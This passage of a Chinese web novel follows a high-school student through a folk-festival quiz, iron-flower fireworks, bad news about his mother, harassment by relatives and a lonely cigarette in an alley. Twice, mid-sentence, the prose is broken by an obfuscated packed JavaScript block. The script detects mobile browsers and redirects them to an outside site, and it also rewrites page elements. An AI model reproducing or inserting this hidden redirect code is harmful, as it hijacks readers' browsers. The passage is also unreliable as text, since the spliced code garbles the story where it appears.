大家还以为他在发呆,结果每次都是他先抢到题,再举起麦克风,淡淡地说出答案。 “五胡乱华是哪五胡?” “匈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258202|181326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,奴羌,鲜卑,氐,羯。” “五代十国的五代分别是什么?” “后梁,后唐,后晋,后汉,后周。” “等闲变却故人心,后面一句。” “却道故人心易变。” 每答完一题,焦青钰就重新将目光落回绸缎上,继续放空。 台下三人也跟着他向上看,但那里只有民俗大会那几个字,没什么特别的东西。 赵益和挠着后脑勺说:“不是,有啥好看的啊?” 历霜慢慢地开口:“你不跟机器人说话,机器人不就进入休眠期了。” 赵益和恍然大悟:“还真是。” 焦青钰势如破竹,很快拿下场上的十一连对,主持人也发话了说:“这位小帅哥已经保底冠军了,接下来就不用每题都答了哈,给大家一点玩的机会吧哈哈。” 焦青钰回过神来,缓缓点头:“好。” 毕竟总共二十题,哪怕有个人连续答对九题,焦青钰也还是第一。 不过也没有第二个人能一次答对那么多题了,最后的分数焦青钰以碾压的10分夺得第一。 赵益和在颁奖时直接站起来鼓掌,就差站起来跟后排的观众说:“看看!这是我兄弟!” 赵棠盯着等待发奖品的焦青钰,若有所思地说:“但他不想要扫地机器人吧?他应该更想要代金券啊。” 赵益和挥挥手:“唉,他难道还要换啊。” 下一秒,主持人拿着兑换卡,走到焦青钰面前问:“小帅哥恭喜你得了第一啊,你有什么想跟大家说吗?” 焦青钰接过麦克风,认真地问:“我能跟第二名换代金券吗?” 焦青钰这话一出,引得哄堂大笑。 只有赵益和人都傻了:“我去,他真敢说啊?” 历霜乐得要死。 他猜到焦青钰会这么问,没想到这么直白,忍不住拍了一张焦青钰被拒绝后脸沉下来的照片。 史上最不开心的冠军诞生了。 随着奖品发放完毕,这次民俗大会也正式结束了。 大家整理好自己的东西朝正门移动。 焦青钰兑换了扫地机器人,工作人员恭喜他得了第一,他嘴上说着谢谢,脸实际上越来越黑。 黑着脸的他走到三人身边,赵棠笑着打趣他:“谁让你答的这么快的,忘了控分吧。” “哇,你们这群学霸真变态啊,这种时候都要控分。”赵益和说。 历霜瞥了眼箱子说:“你把这个挂二手网上卖了不就有钱了,这个算不上最新款,但也能卖个几百块。” 焦青钰嗯了一声。 他们四人在经过正中央的广场时,原本空无一人中央,在这么两个小时内搭建了一座高约五米的铁架。 离铁架十几米远的地方,里三层外三层的挤满了人。 四人找了一处砌砖的花坛,踩着砖头向那望去。 铁架下,两位掌勺的匠人赤着上身,只在腰间系块厚实的老布,其中一位手持特制的长木勺,稳稳舀起一勺滚烫的灿黄的铁水。 历霜立马猜出来,这是在打铁花。 只见那位师傅臂腕一甩,铁水便朝着对面持着花棒的师傅飞去,师傅大喝一声:“哈!” 刹那间,金红的铁水在棚上炸开,千万点火星骤然腾空,像天上的银河被生生扯断,从半空倾泻而下。 细小的碎金,簌簌落在地上。 “哇——” 众人发出惊呼,纷纷拿起手机拍摄。 还没等他们准备好,又有新的铁水被甩起,新的火花炸开。 历霜拿着手机拍摄,拍完一小段视频,点开微信上的置顶写着的“林逸晨”,将这段视频发送过去。 【雪球】:小林子,你最喜欢的活动来了 历霜又往上翻对话。 每一次都是只有他发图片或者视频,对方从来没有回答过他。 直到6月5日,对方回答了三个字。 历霜看着那三个字,捏紧了手机。 就在这时,他的耳边响起独属焦青钰的冷薄声音:“你怎么了。” 他抬头,正好对上焦青钰的眼睛。 恰在此时,园区的广播突然响起,流淌出带着古韵的歌声。 在响彻夜空的歌声中,这些铁花一次又一次炸开。 那些灿烂的光映亮焦青钰的侧脸,也落在他漆黑的眸子里。 在那片清澈的瞳孔里,历霜清晰地看到了自己的倒影。 18.南极以南(入v通知) 坐在烧烤店外头的赵益和深吸一口气,细细品味卷着炭火的肉香。 他舔了舔嘴唇:“啥时候到我啊,快点快点的。” “你才刚点几分钟啊,哪有那么快。”赵棠给每人的塑料杯里都倒上橙汁,“来,先干杯。” “又不是在喝酒。”焦青钰还是举起塑料杯。 三人碰了一下杯。 大会上说好吃烧烤,他们三人回家放好东西后真的出来吃烧烤了。 这怎么不叫有求必应呢? 赵益和眯起眼睛问焦青钰:“你打铁花的时候和历霜聊什么呢。” 焦青钰耸肩:“没聊什么。” “你们俩该不会变好友了吧?”赵益和指着焦青钰。 “没有,他的好友另有其人。”焦青钰说。 半小时前打铁花的时候,历霜看上去有点神游,问他怎么了。 历霜摇头,露出了微笑:“没什么,就是想到了一个不在这里的朋友。” 再看他那忽闪的手机屏幕,能确定历霜没有说谎。 这才是朋友。 是看着这些画面能想到的人。 而他们呢? “我们顶多算是熟人。”焦青钰喝了一口果汁。 “熟人也不错了。”赵益和安慰道,“哪有认识那么几天就变成我们这种钢铁友谊的。” 赵益和又开始讲民俗大会上的事,赵棠负责补充他打太极拳的细节,焦青钰默默听着。 再聊一会儿,他们的烧烤上来了,他们边吃边聊。 这么吃了半小时,赵棠宣告撑了,只剩下焦青钰和赵益和继续吃。 赵益和甚至又点了两串鱿鱼,跟饿了好几天似的。 偏偏他又属于吃不胖类型,宵夜、甜点每次都吃,但就是他们几个人里最瘦的。 连焦青钰这么吃了几次后都重了两斤,赵益和体重一点也没涨。 包括身高。 赵棠都有点看不下去了,捏着赵益和的细胳膊说:“叔叔的手艺可是我们家最好的,要是我的话一天能长胖三四斤,你怎么光吃不胖啊?” 赵益和得意地扬起下巴:“体质好。” 这时,焦青钰说:“光吃不胖说明肠胃功能衰弱,无法吸收所需的营养,不算好事,我之前也这样,现在好多了。” 赵益和想起来这事,赞同地点头:“是哦,初中的时候你可瘦了,现在这么正常,叔叔阿姨要是看见了肯定很开心。” 焦青钰初中的时候体型和赵益和差不多,后面据说是他的那些邻居天天给他投喂吃的,他不吃完就不让他回去,就这么一顿一顿地喂正常了。 所以焦青钰对他那些邻居很是感激,邻居说什么都不带拒绝的。 赵棠的注意力都在焦青钰的爸妈身上,好奇地问他:“他们今年回来吗?” 一想到这事,焦青钰心情就很好,讲话声音也愉悦了不少:“我爸说我妈稳定了很多,九月就能回来。” “太好了,”赵棠开心地拍了下手,“我都快忘了叔叔阿姨长啥样了,等回来了记得叫我。” 焦青钰点了点头。 焦青钰现在的表情没什么变化,但作为认识多年的好友。 赵家姐弟一眼就看明白了,焦青钰现在很开心。 “看把你开心的。”赵益和喝了一口饮料,“你今天玩的照片有发给他们吗?” “有。”焦青钰说。 赵益和摇头:“我是说后面我们四个拍的合照。” 焦青钰愣住了。 在打铁花快要结束的时候,赵益和突然提议他们四个人拍张照片。 因为历霜的手长,就由他拿赵益和的手机了,最后拍了两张照片。 第一张里,除了焦青钰依旧面无表情,其他人都笑得开朗,身后恰好是铁花炸开的瞬间。 第二张则是赵益和趁焦青钰不注意,伸手扯着他的嘴角往上提,硬是捏出一个僵硬笑容的抓拍。 拍完照片后,他们就和历霜一起拼车回来了,最后历霜一人付了车费。 焦青钰下车问历霜要多少钱,历霜冲他露出莫名其妙的笑容。 下一秒直接将他关在铁门外面了。 想到这里,焦青钰又给历霜发了一条消息:“多少钱。” 【历霜】:一百万,给不出就别问 【焦青钰】:一百万都能买四辆车了 【历霜】:我这句是夸张的手法,语文理解,懂? 【焦青钰】:有话直说。 【历霜】:意思就是别给 【焦青钰】:哦。 焦青钰刚回完,就听对面的赵益和小声说:“其实叔叔有偷偷找我,问我你有没有交新的朋友,有没有跟别人好好聊天。” 焦青钰立马抬头盯着他:“你怎么回的。” 赵益和尴尬地对手指,眼睛不敢看他:“我跟他说你现在是我们学校的交际达人,谁都认识。” 焦青钰:“……” 赵棠差点喷饮料:“你也真能吹啊?他那性格一年能聊一个就不错了,你们班的人他都不见得全聊过好吧。” 赵益和在焦青钰黑脸之前赶紧找补:“所以啊,那照片里不是有历霜吗?你到时候就可以跟叔叔说了,你认识了个新朋友。” “难怪你一直关心他和历霜是不是朋友,原来是因为这个啊!”赵棠立马发现了今天赵益和不对劲的地方,她又思考起来,“为什么叔叔不发给我?……哦,我对你们男生的事不感兴趣。” “他要是不问,我就不发这张图了。”焦青钰揉着太阳穴说。 他已经能想象到他爸听到赵益和这个回答得多开心了。 肯定憋不住会问他。 只是焦青钰没想到,他爸那么憋不住,第二天就问了。 第二天恰巧是周五,焦青钰要去便利店上班。 这天的天气还不大好。 上午热的郁闷,下午又阴沉沉的。 天气预报说降雨量很低,结果晚上五点开始打雷了。 他爸也是这时候问他有没有和新朋友一起去民俗大会。 ……果然怕什么来什么。 焦青钰万般不情愿,心里再三斗争下,最终还是把四人的照片发了过去。 还特地把历霜圈了出来。 【焦青钰】:新朋友,这个人。 【爸爸】:诶唷,也是个帅小伙啊,真人比照片更帅吧? 【焦青钰】:真人还行。 正巧有客人来了,焦青钰立即放下手机,启动营业状态。 等客人走了之后,他才继续看消息。 果然他家老头子没那么好忽悠,又不相信了。 【爸爸】:这不会是益和的朋友吧? 【焦青钰】:先认识我的。 这话不算说谎。 确实是先跟他打的招呼。 【焦青钰】:我还有证据。 【爸爸】:看看 焦青钰把扫把架在墙边,深吸一口气。 视死如归般,点开历霜的微信,将他们俩的合照转发给了他爸。 【焦青钰】:合照,赵益和都没有。 【爸爸】:看你在外面这么好,我就放心了 【爸爸】:家里这边,那些人应该没欺负你吧? 焦青钰知道他说的是谁。 在面对他妈那些吸血鬼亲戚面前,他和他爸是站统一战线的,都不待见那帮子人。 焦青钰想了想,回答。 【焦青钰】:没。 他虽然被打了,但他把墙给砸了。 一报还一报,不算被欺负。 甚至对方损失还更大。 【爸爸】:舅舅呢?没找你事吧。 【焦青钰】:没。 还在医院呢,找不了事。 对方明显是放心了,好久才发来消息。 【爸爸】:钱不够和我说,不用为我们省钱 【爸爸】:你就好好读书就好了,不要被那些人扰乱学习计划 焦青钰扫视了一圈便利店,回答:“知道的,我在读书,等你们回来检查。” 他原本还在琢磨,等九月份爸妈回来,便利店的工作是不是得请几天假。 可这个念头刚冒出来,就被窗外突然炸响的雷声打断。 也在这时,手机屏幕骤然亮起,新消息弹了出来。 焦青钰垂眼望去,手指顿住了。 【爸爸】:钰钰还有件事 【爸爸】:你妈妈又发病了……可能九月份回不来了 “……” 又发病了。 回不来了。 焦青钰盯着这两行字,刚才还轻快心情,此刻像坠了块铅似的,直直沉到了底。 钝痛感从太阳穴蔓延开来,如同那天被人攥着头发打的感觉,一下下往骨缝里钻。 他的耳边只剩下尖锐的耳鸣,完全没注意暴雨拍打便利店凉棚的噼啪声。 一个三十多岁的大叔匆匆冲进便利店,抖落身上的雨水时,瞥见收银台后站着的焦青钰,扬声问:“诶!有没有雨伞啊?” 营业员的声音带着几分不耐的冰冷:“门口。” 大叔拿起雨伞,走过去刚想指责两句什么态度,转头看见收银员的脸色,跟见了鬼似的,话到嘴边又硬生生咽了回去 他甚至颤颤巍巍地拿起扫码机对雨伞扫码,然后付款了。 焦青钰回神就看见男人抱着雨伞,蹑手蹑脚地往后退。 他举起手,刚想问要不要袋子,那男的立马大喝一声:“谢!谢谢啊!我付钱了!”然后就撑雨伞跑进了雨里。 焦青钰查了账,发现确实收了10元,也就没再管。 他重重揉搓了一下发胀的眼睛,烦躁像潮水似的往上涌,指尖在屏幕上敲得又快又重: 【焦青钰】:怎么会又发病了? 【爸爸】:有个工友老婆跟她聊天,聊到他家女儿怀孕,是双胞胎…… 【焦青钰】:…… 【焦青钰】:我知道了。 怎么老是遇到这种破事?! 这群人不聊点事就闲不下来吗?! 焦青钰攥紧拳头,要是这在家里,他早一拳头砸下去了。 但这里是便利店,砸了还得赔钱。 他只能硬生生将怒气憋回去,闷得胸口顿时有点发疼。 【爸爸】:多跟朋友走走,看你玩的开心,我也开心,这才是你这个年纪该做的事。别的事交给我们就好。 【焦青钰】:嗯。 焦青钰收起手机,抬头看着天花板,就这么安静地坐了一会儿。 直到胸口的闷意稍微散了点,才继续写题目。 写了一小时,有短信来了。 又是那几个大字不识一个的亲戚,带着他们的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264490|181326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错别字来骚扰他来了。 【你知道你妈又进以院了吗?这都是报应啊,谁让你对我们这些亲戚这个态度的?一报还一报,人在昨,天都在看的,你什么德型,都反噬到你妈那里去】 他知道那些亲戚在爸妈打工的地方安插了眼线,没想到这件事这么快就传过去了。 如果这些人知道,那姥爷也一定知道…… 操!一群傻叉有完没完了? 焦青钰把所有的烦躁和怒火,都一股脑发泄了出去。 【滚。】 【我说了我知道你谁,换手机也没用。】 【你被他们拿来当枪子使还傻叉似的帮忙数钱,看你被我揍了之后他们还会不会帮你说话。姥爷再看不惯我这个外孙,他那封建思想也不会对我这么样。但你要是做错事了,你觉得他要你这个私生子吗?你要不要试试。】 发完这段话,焦青钰原以为自己会很轻松,但心依旧沉。 像是有什么东西勒紧了他的手脚,很郁闷,很烦,烦得他都想摔手机了。 不知不觉,上晚班的大哥来了,刚好雷阵雨也停了,外头只剩下几潭代表下过雨的水洼。 晚班大哥换好衣服,看着外头的天气笑道:“诶唷,运气真好,出门不下雨了。” “嗯,吴哥运气好。”焦青钰出神地回答。 晚班的大哥姓吴,长得有点胖墩墩的,脸色红润。 面相学说着这种人看着和蔼,实际上性格确实很好,经常让焦青钰早点下班,还会给焦青钰推荐那些临期的产品买回去性价比高。 吴大哥发现焦青钰比平时还要郁郁沉沉的,开玩笑似的搭话:“怎么了?题没写出来?” 焦青钰摇了摇头:“遇到了点事。” 焦青钰在他们心里要比一般高中生更加沉稳,似乎什么时候都很冷静。 可现在不像是冷静的样子。 倒像是再遇到点事儿,随时就能爆发。 “要不你出去走走?”吴大哥拍拍焦青钰的肩膀,“反正现在也没什么人来。” 焦青钰感激地站起来:“谢谢哥。” 大哥笑眯眯地说:“年轻人,想开点,没有过去的坎。” 焦青钰点了点头,把自己的东西理好,披上外套后离开了。 焦青钰也不知道要去哪里,就沿着街边漫无目的地走。 街上的行人们脚步匆匆。 有人攥着刚买的菜往家赶,有人举着手机讲电话,连晚风里都裹着烟火气。 只有他像个局外人,慢悠悠地晃着。 他看着被云朵挡住一半的月亮,漏下惨白的光,最终走进了没什么人的巷子。 这里的小巷都长得差不多,一到夜里就黑得沉郁。 风穿巷而过时,带着窸窸窣窣的声响,像谁在暗处磨牙。 焦青钰却觉得这里很舒服。 巷口画上了一道不会过界的边缘线,将外头纷扰吵闹的世界隔得严严实实,这里只有他一个人。 焦青钰没看手机,也说不清自己在墙根下站了多久,才从口袋里摸出盒皱巴巴的烟。 他的手指在烟盒底一顶,熟练抽出一根叼在唇间。 再摁下打火机,火光倏地窜起,映亮他半张沉在阴影里的脸,连眼尾的倦意都清晰了几分。 烟圈从嘴角慢慢吐向上空,袅袅散开,像要把他压在心底的沉闷也一并带走。 可每吸一口,耳鸣就重一分,最后,那个熟悉的、扰人的声音再次钻了出来。 这次,不是怂恿他跳下去,而是更直白地告诉他—— 放弃吧,他的努力都是徒劳,他再怎么抗争,一切都像今天这样回到原点。 “什么狗屁原点。”焦青钰低声骂了一句,盯着对面那个破了一个洞的纸箱,缓缓吐烟。 他不是轻易被左右的人,但最近不知道怎么了,那些阴恻恻的声音让他有点动摇。 让他跳下去他就真的跳下去了,那么让他放弃,真的要放弃吗? 不,绝不可能。 焦青钰捏紧拳头。 纸箱上的洞孔最初不过螺丝帽大小,在他一眨不眨的凝视下,开始扭曲、变形,周遭稀薄的光线被它吞噬。 孔洞扩张成一片没有边际的、纯粹的黑,携带着令人心悸的引力,要将他连同心魂一并吸入。 在深渊要将他攫取殆尽时—— “汪!” 小狗的叫声像一块石子,砸破了混沌的黑幕。 焦青钰稍微一愣,循声望向巷口。 逆着街灯流淌进来的暖黄光晕,将立在巷口的人与狗的轮廓融成朦胧的剪影。 那个人自带一种沉静而强大的存在感,仿佛他并非走来,而是从这片混沌的夜色里自然而然地浮现。 焦青钰看不清样貌,但光看高挑的身形边缘,还有昂首的姿态,他能确定那个人是谁。 那个每次出现,都在他意料之外的人。 看来这次也是如此。 莫名的,焦青钰的心脏像是被什么托举起来。 突然很想笑。 但他最终没有笑,身体也没动。 就这么静静倚着冰冷的墙壁,指尖夹着烟,凝望那个逐渐走近的人影。 直到。 历霜的声音裹着震惊的质问穿过小巷,像一阵带着夏夜闷湿的风,直直扑向他。 “你真的在抽烟?”